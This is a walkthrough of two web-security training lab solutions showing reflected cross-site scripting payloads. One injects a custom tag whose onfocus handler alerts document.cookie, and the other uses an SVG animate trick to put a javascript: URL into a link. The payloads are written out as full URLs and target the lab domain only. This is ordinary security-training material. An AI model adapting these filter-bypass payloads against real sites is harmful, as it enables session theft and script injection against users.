Lab: Reflected XSS into HTML context with all tags blocked except custom ones
This lab blocks all HTML tags except custom ones.
To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.
Access the lab
Click Here :- Lab
Solution
Go to the exploit server and paste the following code, replacing your-lab-id with your lab ID:
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
Click "Store" and "Deliver exploit to victim".
This injection creates a custom tag with the ID x, which contains an onfocus event handler that triggers the alert function. The hash at the end of the URL focuses on this element as soon as the page is loaded, causing the alert payload to be called.
Reflected XSS with event handlers and href attributes blocked
Lab: Reflected XSS with event handlers and href attributes blocked
This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked..
To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.
Note that you need to label your vector with the word "Click" in order to induce the simulated lab user to click your vector. For example: <a href="">Click me</a>
Access the lab
Click Here :- Lab
Solution
Visit the following URL, replacing your-lab-id with your lab ID:
https://your-lab-id.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
Video Tutorial :-
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